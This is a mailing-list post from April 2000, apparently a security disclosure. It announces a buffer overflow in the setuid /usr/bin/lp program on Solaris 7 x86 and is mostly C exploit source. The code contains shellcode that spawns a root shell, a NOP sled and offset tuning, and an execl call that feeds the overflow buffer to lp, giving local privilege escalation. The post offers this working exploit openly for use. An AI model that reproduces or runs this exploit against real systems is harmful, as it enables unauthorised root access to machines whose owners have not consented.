Solaris 7 x86 lp exploit
Date: Mon, 24 Apr 2000 15:17:39 +0000
From: Theodor Ragnar Gislason <[email protected]>
To: [email protected]
Subject: Solaris 7 x86 lp exploit
Setuid proggie /usr/bin/lp has an easily exploitable buffer overflow.
This exploit is for Solaris 7 x86 version, no sparc exploit is available
to my knowledge.
later,
DiGiT
/*
*
* solaris 2.7 /usr/bin/lp local exploit, i386.
*
* discovered by DiGiT.
* try offset 150-250 if sploit fails
*
* greets: #!ADM, #!security.is, #hax, duke
*
* DiGiT - [email protected]
*
*/
#include <stdio.h>
#include <stdlib.h>
char shellcode[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
#define BUFSIZE 1100
long get_esp() { __asm__("movl %esp,%eax"); }
int main(int argc, char *argv[]) {
char buff[BUFSIZE];
int nopcount=501, offset=260;
int i;
if (argc > 1) offset = atoi(argv[1]);
if (argc > 2) nopcount = atoi(argv[2]);
memset (buff, 0x90, BUFSIZE);
for (i = nopcount; i < BUFSIZE - 4; i += 4)
*(long *) &buff[i] = get_esp() + offset;
memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
(shellcode));
memcpy (buff, ":", 1);
printf("Addr = 0x%x\n", get_esp() + offset);
execl("/usr/bin/lp", "lp", "-d", buff, "-p", "/tmp/ps_data",NULL);
